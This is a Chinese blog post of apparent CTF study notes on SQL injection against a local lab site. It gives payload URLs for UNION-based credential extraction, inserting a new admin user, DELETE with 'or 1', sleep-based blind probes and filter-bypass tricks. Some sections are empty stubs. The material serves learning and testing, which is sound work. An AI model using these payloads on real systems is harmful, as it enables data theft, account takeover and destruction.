• 注册
当前位置:1313e > 默认分类 >正文

CTF从零到一 SQL注入攻击

1.SQL注入攻击是开发者在开发程序时,对客户输入的参数过滤不严格,导致用户能更改数据库。
一.数字型注入:
1.访问链接http://192.168.20.133/sqll.php?id=2的页面和http://192.168.20.133/sqll.php?id=3-1的页面一样,可以说明这个注入点是数字型注入。表现为源码输入点“$_GET['id']”附近没有引号包裹。
2.链接模板:http://192.168.20.133/sqll.php?id=1 union select user,pwd from wp_user
3.limit 1,1:条件限定,作用是查询结果第二条记录后的1条记录。
二.字符型注入:
1.访问http://192.168.20.133/sql2.php?id=3-1的页面为空,猜测不是字符型,继续访问http://192.168.20.133/sql2.php?id=2a,有页面,说明是字符型注入。
2.空格的编码是“%20”,“'”的编码是“%27”,“#”的编码是“%23”。
3.访问http://192.168.20.133/sqll.php?id=1%27%23的sql语句是id = '1'#',后面的操作就与数字型注入一样了。
4.whereselect操作的一个判断条件,1' and '1 相当与sql语句的'1' and '1'
5.布尔盲注:通过注入来推测出数据
三.报错注入:
四注入点:
(一)、select:用于数据表记录的查询
2.注入点在select的后面:http://192.168.20.133/sqln1.php?id=(select pwd from wp_user) as title
3.注入点在表名之后:http://192.168.20.133/sqln1.php?id=select title from (select pwd AS title from wp_user)x
4.如果注入点有反引号要先闭合反引号
5.注入点在wherehaving后:先判断有无引号包裹,有的话注释掉,没有的话直接注入
6.注入点在GROUP BY或者ORDER BY后:title=id desc,(if(1,sleep(1),1))会让页面迟1秒
7.sql注入攻击之所以存在,是因为开发者在编写系统框架时,无法使用预编译的办法处理这类参数;只要对输入的值进行白名单比对,就可以预防大部分的sql攻击。
8.注入点在limit之后:
(二)、insert:插入数据表的sql语句
1.注入字段名或字段值的地方,且没有回显信息。
2.注入点位于tbl_name之后:http://192.168.20.133/insert.php?table=wp_user values(2,'newadmin','newpass')%23,成功插入一个新的管理员
3.注入点位于VALUES:
(三)、update:数据库记录的更新。
2.update语句:
1.update wp_user set id=3 where user ='23';
2.update wp_user set id=3, user='xxx' where user ='23';
1.delete:删除某个表的全部或指定行的数据,注入点通常在where
delete语句:1.delete from wp_news where id=1 or 1;
2.delete from wp_news where id=1 and sleep(1);
五.注入与防御:
1.可以代替空白符的有:%0a%0b%0c%0d%09%a0(在特定字符集才可以使用)和/**/()
2.将select替换为空:可以用嵌套的方式,例如seselectlect形式,过滤后为select。可以用大小写的方式"sEleCt"。
select语句:http://192.168.20.132/replace.php?id=-1%09union%09seselectlect%091,2
3.正则匹配:
4.替换了单引号或双引号,忘记了反斜杠:
5.逃逸引号:

本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 162202241@qq.com 举报,一经查实,本站将立刻删除。

最新评论

欢迎您发表评论:

请登录之后再进行评论

登录
相关推荐